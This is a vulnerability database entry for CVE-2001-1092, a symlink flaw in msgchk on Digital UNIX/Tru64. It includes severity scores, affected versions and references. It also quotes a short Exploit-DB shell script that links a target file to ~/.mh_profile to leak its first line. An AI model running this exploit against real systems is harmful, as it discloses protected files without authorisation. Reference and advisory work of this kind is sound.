CVE-2001-1092 : Detail

CVE-2001-1092

0.09%V3
Local
2002-03-15
04h00 +00:00
2017-12-18
20h57 +00:00
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CVE Descriptions

msgchk in Digital UNIX 4.0G and earlier allows a local user to read the first line of arbitrary files via a symlink attack on the .mh_profile file.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21107

Publication date : 2001-09-09 22h00 +00:00
Author : seo
EDB Verified : Yes

source: https://www.securityfocus.com/bid/3320/info The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege. Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. ++ msgchkx.sh #!/bin/sh # truefinder, [email protected] # msgchk file read vulnerability if [ ! -f $1 ] then echo "usage : $0 <file path>" fi cd ~ ln -sf $1 ~/.mh_profile /usr/bin/mh/msgchk

Products Mentioned

Configuraton 0

Compaq>>Tru64 >> Version 4.0d

Compaq>>Tru64 >> Version 4.0e

Compaq>>Tru64 >> Version 4.0f

Compaq>>Tru64 >> Version 4.0g

References

http://www.securityfocus.com/archive/1/213238
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.kb.cert.org/vuls/id/440539
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/bid/3320
Tags : vdb-entry, x_refsource_BID